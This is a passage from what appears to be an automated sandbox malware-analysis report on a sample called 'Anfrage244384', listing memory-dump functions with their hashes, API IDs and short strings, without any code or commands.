                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: Wow64 Emulation Layer
                                                        • API String ID: 3446177414-921169906
                                                        • Opcode ID: 32c4376a161e8f06b36b7a913b767f53c79d6a0d1b482890952b9cb1977a0b8e
                                                        • Instruction ID: 21c86041565743b1577a595ae8af42ae6da3722b90b2170434c3f4efa26bbd65
                                                        • Opcode Fuzzy Hash: 32c4376a161e8f06b36b7a913b767f53c79d6a0d1b482890952b9cb1977a0b8e
                                                        • Instruction Fuzzy Hash: C02138B6A0011DFFAF01DAA18D84CEF7B7DEF456E9B4440A4FA21A2110DB349E059F34
                                                        Function 34DAEF28 Relevance: 6.3, APIs: 4, Instructions: 347COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 9c0b64d66d6690b4d58e41a4c86127213834c44f2d50af5a5b2efa6fdfb4e6e7
                                                        • Instruction ID: 7c99d3e8ff6777e4e5757a0c7cef31010f01821406bd826207d2d0c51315e148
                                                        • Opcode Fuzzy Hash: 9c0b64d66d6690b4d58e41a4c86127213834c44f2d50af5a5b2efa6fdfb4e6e7
                                                        • Instruction Fuzzy Hash: 3AE1DE75E00708DFEB25CFA9C984A9DBBF5BF48354F2049AEE955AB260D730A941CF10
                                                        Function 34DFEF50 Relevance: 6.2, APIs: 4, Instructions: 187timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID:
                                                        • API String ID: 3446177414-0
                                                        • Opcode ID: 62112fb4bd47511f89c4873a428039f63cc763456a167d24d846a4b249595dfc
                                                        • Instruction ID: 06cd61adc29ba81ef48b10a1bed59761e3ab02a03c0f624a07089c983aae7e66
                                                        • Opcode Fuzzy Hash: 62112fb4bd47511f89c4873a428039f63cc763456a167d24d846a4b249595dfc
                                                        • Instruction Fuzzy Hash: 73713472E002199FEF21CFA4DD80A9DBBF5BF48354F16802AE905EB254D735A905CBA4
                                                        Function 34E5A4CA Relevance: 6.2, APIs: 4, Instructions: 170timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID:
                                                        • API String ID: 3446177414-0
                                                        • Opcode ID: a5f001b3e03e05d3c86c2c88762e6d89180fe091f75866b2cdba1e30ce46feec
                                                        • Instruction ID: 72a07dd00eb3bf812409b6e5356d8aa51fbdd2a0e8cb56b975385d2340bb1d85
                                                        • Opcode Fuzzy Hash: a5f001b3e03e05d3c86c2c88762e6d89180fe091f75866b2cdba1e30ce46feec
                                                        • Instruction Fuzzy Hash: 14517B79B007129FEB08CE58C8A4A29B7F6FF89355B2045ADD906DB720DB74EC51CB80
                                                        Function 34DFF1D6 Relevance: 6.2, APIs: 4, Instructions: 150timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID:
                                                        • API String ID: 3446177414-0
                                                        • Opcode ID: 18328ae6b539f88cf7916560de9c5f52cdd9d8cca3612f7b0faa1e2ed8120da3
                                                        • Instruction ID: 3717ea0d4d6de06bc5301e9c3d453a517d87a6762bf857d136432bf3e74b5289
                                                        • Opcode Fuzzy Hash: 18328ae6b539f88cf7916560de9c5f52cdd9d8cca3612f7b0faa1e2ed8120da3
                                                        • Instruction Fuzzy Hash: 9A5120B6E00219AFEF14CF94D840ACDBBF1BF48365F06812AE801BB250E7359901CF64
                                                        Function 34DB7B2F Relevance: 6.1, APIs: 4, Instructions: 81timethreadCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes$BaseInitThreadThunk
                                                        • String ID:
                                                        • API String ID: 4281723722-0
                                                        • Opcode ID: e91eeb9c5ffbd721cfcc42eb4f737c03de45a89a7859099ce00110fb3b6eabb1
                                                        • Instruction ID: 040699d2ad9906894592d3ed0eaf6a4b3ef088c71abc7d986452f42c66178657
                                                        • Opcode Fuzzy Hash: e91eeb9c5ffbd721cfcc42eb4f737c03de45a89a7859099ce00110fb3b6eabb1
                                                        • Instruction Fuzzy Hash: 53313275E04218DFDF11DFA8D844A9DBBB0FB48321F11456AE421B72A0DB315901CF68
                                                        Function 34D859C0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 494COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @
                                                        • API String ID: 0-2766056989
                                                        • Opcode ID: 252f76eb7b1443388b78466f73f133bad07fb2304ded835660368f4ab33d180e
                                                        • Instruction ID: c65b672da56e57bf321447cf84c117cdf9fe5478a1122b1f7cbc832e14430f11
                                                        • Opcode Fuzzy Hash: 252f76eb7b1443388b78466f73f133bad07fb2304ded835660368f4ab33d180e
                                                        • Instruction Fuzzy Hash: 51324774E04369DFEB61CF64C894BEDBBB4BB08314F0081E9D549A7291DB749A84CFA1
                                                        Function 34DC7D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: __aulldvrm
                                                        • String ID: +$-
                                                        • API String ID: 1302938615-2137968064
                                                        • Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                        • Instruction ID: 7a8a742fc2dd819baa80c33fc477be33157f89705729c388972c0b9d2f1c3ccd
                                                        • Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                        • Instruction Fuzzy Hash: 54916FF5F0021BDFEB14CE69C881AAEB7A9BF44761F50461BE855E72D0EB309D418B60
                                                        Function 34DB4C59 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: 0$Flst
                                                        • API String ID: 0-758220159
                                                        • Opcode ID: 38450de3c679da8b15efe2a6de8723f3939029ce31e7188a798bf7ce28908373
                                                        • Instruction ID: a3b750519e190243aada8d131b0bd94a30b1807950158128501b321739d7812f
                                                        • Opcode Fuzzy Hash: 38450de3c679da8b15efe2a6de8723f3939029ce31e7188a798bf7ce28908373
                                                        • Instruction Fuzzy Hash: 30519DB5E00248DFEF25CF99C884659FBF4FF44794F15802ED08A9B250EB719985CB80
                                                        Function 34D804E5 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 153timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        • kLsE, xrefs: 34D80540
                                                        • TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 34D8063D
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
                                                        • API String ID: 3446177414-2547482624
                                                        • Opcode ID: b608228d2b558c6e1daab8ab210ddcb93991fcc83eb6289bf759cad4c01ad339
                                                        • Instruction ID: c067f91105af942f00effbea8b9ab4fb7d09704ca03d30faaf4b046b3c6f6aec
                                                        • Opcode Fuzzy Hash: b608228d2b558c6e1daab8ab210ddcb93991fcc83eb6289bf759cad4c01ad339
                                                        • Instruction Fuzzy Hash: E051BBB56007429FD326DF64E4856A7B7E4FF85314F02883EE9AA97240E730D545CBA2
                                                        Function 34D7DF81 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: 0$0
                                                        • API String ID: 3446177414-203156872
                                                        • Opcode ID: 8a7ba702cf0239a4553510a22c7385fec8786fc6398a65ccd80b31ff3fbd5d09
                                                        • Instruction ID: 0509c583e9b71f727607d9467de29e588c24ad558c5fb3df13e7db35f3220b50
                                                        • Opcode Fuzzy Hash: 8a7ba702cf0239a4553510a22c7385fec8786fc6398a65ccd80b31ff3fbd5d09
                                                        • Instruction Fuzzy Hash: 3D4158B56087469FD300CF28C984A5ABBE5BF89354F044A2EF888DB341D771EA05CB96